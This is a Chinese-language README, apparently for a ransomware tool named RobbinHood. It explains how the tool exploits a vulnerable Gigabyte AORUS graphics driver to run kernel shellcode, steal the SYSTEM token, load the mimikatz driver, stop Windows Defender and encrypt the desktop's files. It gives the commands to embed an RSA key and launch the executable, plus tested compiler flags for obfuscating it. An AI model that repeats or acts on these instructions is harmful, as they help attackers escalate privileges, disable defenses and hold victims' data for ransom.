此漏洞利用首先获取 gigabyte 驱动的句柄,并使用 IOCTL 的代码来分配内存,将我们的 shellcode 放入内核内存中。 shellcode 本身在 EPROCESS 结构上循环,以查找与 "system" 进程关联的令牌,并将此令牌赋予我们实际的 cmd。 从此时起,所有基本安全功能均被禁用。 然后,mimikatz 驱动被下载并加载到系统中。 从此时起,Windows Defender 被完全停止,以便加密桌面上存在的所有文件。
构建项目后,你需要使用 InjectRSA 可执行文件将你的公钥嵌入到漏洞利用可执行文件中。然后你只需启动漏洞利用程序 RobbinHood.exe。
InjectRSA.exe pub.key RobbinHood.exe
RobbinHood.exe
此漏洞利用并非内置混淆,可以通过安装 [Obfuscator-LLVM 项目] (https://github.com/heroims/obfuscator) 来应用编译时混淆。 以下混淆编译指令已经过测试并获批准:
-D__CUDACC__ -D_ALLOW_COMPILER_AND_STL_VERSION_MISMATCH -mllvm -bcf -mllvm -bcf_prob=100 -mllvm -bcf_loop=3
-mllvm -sub -mllvm -sub_loop=2 -mllvm -fla -mllvm -split_num=10 -mllvm -aesSeed=DEADBEEFDEADBEEFDEADBEEFDEADBEEF
存在漏洞的驱动:Gigabyte AORUS Graphics Engine v1.34
驱动所需的软件包:Visual C++ Redistribuable 2012 x86
使用 Visual Studio 2013 Community 开发
测试环境:Windows 8.1 x64 6.3.9600